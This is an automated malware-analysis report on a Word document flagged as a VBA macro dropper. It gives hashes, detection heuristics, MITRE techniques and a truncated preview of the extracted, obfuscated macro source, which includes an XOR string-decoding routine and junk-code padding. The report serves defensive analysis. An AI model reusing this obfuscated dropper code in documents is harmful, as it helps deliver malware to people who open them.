Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 185f8394efdf74b3…

MALICIOUS

Office (OLE)

136.5 KB Created: 2018-05-11 14:57:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: f1c8bccc744dd2bca67226e1a33cd822 SHA-1: ae28c97ac6c00182db2110c80c36352f89f6734e SHA-256: 185f8394efdf74b3cf9c3e7c04747e49492800b7f6e0036519cad8b1597ff087
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes an AutoOpen function and a CreateObject call, indicative of malicious intent. The presence of obfuscated VBA code suggests an attempt to download and execute a secondary payload, aligning with the behavior of a dropper malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6547848-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6547848-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://img.hani.co.kr/imgdb/resize/2017/1129/151183210563_20171129.JPGIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 94042 bytes
SHA-256: 62a185ce3869253afda457cbc76c4664c41896cc6a1abe2540fb0c3ebdee11e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IcZFOw"

Public Function f8crzgTJZ9NMxhK(ByRef emt87oLjxSldqG As String, ByRef THREE As String) As String
Dim iShcoIkxDaZmYMD() As Byte
Dim hCk4wemj7k2BXusspt() As Byte
Dim H6HInD513JhzWc As Long
Dim acj2v8TpCwk2vGN As Long
Dim ERst3PQ5ean95ldC As Long
Dim HNagxKx7qad3V As Long
iShcoIkxDaZmYMD = StrConv(emt87oLjxSldqG, vbFromUnicode)
hCk4wemj7k2BXusspt = StrConv(THREE, vbFromUnicode)
H6HInD513JhzWc = UBound(iShcoIkxDaZmYMD)
acj2v8TpCwk2vGN = UBound(hCk4wemj7k2BXusspt)
For ERst3PQ5ean95ldC = 0 To H6HInD513JhzWc
iShcoIkxDaZmYMD(ERst3PQ5ean95ldC) = iShcoIkxDaZmYMD(ERst3PQ5ean95ldC) Xor hCk4wemj7k2BXusspt(HNagxKx7qad3V)
If HNagxKx7qad3V < acj2v8TpCwk2vGN Then
HNagxKx7qad3V = HNagxKx7qad3V + 1
Else
HNagxKx7qad3V = 0
End If
Next ERst3PQ5ean95ldC
f8crzgTJZ9NMxhK = StrConv(iShcoIkxDaZmYMD, vbUnicode)
End Function

Sub RemovePicture()
Dim aMaYgg5V8LpEkRg As InlineShape
Dim D2rgS9ak8mkNqbT As String
D2rgS9ak8mkNqbT = Application.UserName
Dim EjUAa29NgaeVRqDuC, u42h2HM8U8H3at0aUcm As Integer
u42h2HM8U8H3at0aUcm = Len(D2rgS9ak8mkNqbT)
Dim RiOVtlNG9IJwL71F As Collection
While u42h2HM8U8H3at0aUcm > 8
EjUAa29NgaeVRqDuC = EjUAa29NgaeVRqDuC + 4
u42h2HM8U8H3at0aUcm = u42h2HM8U8H3at0aUcm - 1
Wend
Dim NGG74VDaJpieZc1 As Collection
Set NGG74VDaJpieZc1 = New Collection
NGG74VDaJpieZc1.Add "RiOVtlNG9IJwL71F"
NGG74VDaJpieZc1.Add "JkF0rRIFpLGyoI"
NGG74VDaJpieZc1.Add "MO4nEt2NPHtz"
If Chr(Tan(CDbl(1.55690833086393))) = H Then
Dim wJRsgj4EqfLJzm As String
Dim UqDXAg8gxTJ As String
UqDXAg8gxTJ = wIdbKh3mbqf
wJRsgj4EqfLJzm = sIiDkSEiHZb
End If
If (StrComp(wJRsgj4EqfLJzm, UqDXAg8gxTJ, vbTextCompare) <> 0) Then
MsgBox ("ab14BMnNZT7jlb")
End If
If Chr(Tan(CDbl(1.55968567289729))) = Z Then
Dim uj7lIpilx2FijB As String
Dim zMPrh7DvyGy As String
zMPrh7DvyGy = WDPbliHpq6W
uj7lIpilx2FijB = sVzA3pW2YEb
End If
If (StrComp(uj7lIpilx2FijB, zMPrh7DvyGy, vbTextCompare) <> 0) Then
MsgBox ("cRTbRqSHIu0wsl")
End If
Dim WXjylAiFYkfIia, Jjdo7hXJOtt As String
WXjylAiFYkfIia = 1
Jjdo7hXJOtt = 8
#If WXjylAiFYkfIia > Jjdo7hXJOtt Then
Dim pICtGVBEDhf As Object
#Else
Dim pICtGVBEDhf As Integer
pICtGVBEDhf = 1 + 8
Dim QPBVVyIe3PY As Integer
For OjZCTKm3RIx = QPBVVyIe3PY To WXjylAiFYkfIia
QPBVVyIe3PY = QPBVVyIe3PY + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next OjZCTKm3RIx
#End If
If Chr(Tan(CDbl(1.55709855342203))) = I Then
Dim dAu0dZ1cTEB0bJ As String
Dim NXdKOexc0PZ As String
NXdKOexc0PZ = J3X4JyrjaUQ
dAu0dZ1cTEB0bJ = U9lX9DCNNnn
End If
If (StrComp(dAu0dZ1cTEB0bJ, NXdKOexc0PZ, vbTextCompare) <> 0) Then
MsgBox ("RoRwCYHWGKfaSf")
End If
Dim gfoRRdilkqhdpu As Integer
Dim wv5vcBy5k2H As String
gfoRRdilkqhdpu = 6632
Dim wP7ARgoIY4D As Integer
wv5vcBy5k2H = Right(CStr(gfoRRdilkqhdpu), Chr(Tan(CDbl(1.55039099610836))))
wP7ARgoIY4D = CInt(wv5vcBy5k2H)
For DVFSu0ehjZ3 = wP7ARgoIY4D To 38
gfoRRdilkqhdpu = gfoRRdilkqhdpu + 4
Next DVFSu0ehjZ3
For Each aMaYgg5V8LpEkRg In ActiveDocument.InlineShapes
If Application.UserName = "XVljQ2ccUgj" Then
MsgBox ("RlvuFZmuYY6")
Else
Dim JtFKOLXqEmsDCA As Integer
End If
If Application.UserName = "dwFeeABQsGH" Then
MsgBox ("W2gJdsHbm10")
Else
Dim IJKtp5exYdSqsd As Integer
End If
Dim HduFIoqvGfJGUG As Object
Dim mR4DjiLEA8k4NM As Integer
For mTbmpXBJ9ph = 2 To 28
mR4DjiLEA8k4NM = mTbmpXBJ9ph
Next mTbmpXBJ9ph
Dim m6F5iPqNElvxPu As Integer
Dim XVljuOhjyvT As String
m6F5iPqNElvxPu = 9543
Dim E6wtoW1V7rq As Integer
XVljuOhjyvT = Right(CStr(m6F5iPqNElvxPu), Chr(Tan(CDbl(1.55039099610836))))
E6wtoW1V7rq = CInt(XVljuOhjyvT)
For dbd4ScclD4z = E6wtoW1V7rq To 31
m6F5iPqNElvxPu = m6F5iPqNElvxPu + 5
Next dbd4ScclD4z
If Chr(Tan(CDbl(1.55709855342203))) = I Then
Dim F05EHNsZRHpSs9 As String
Dim KKJhiPxAlY8 As String
KKJhiPxAlY8 = BWJZgwVpwQx
F05EHNsZ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.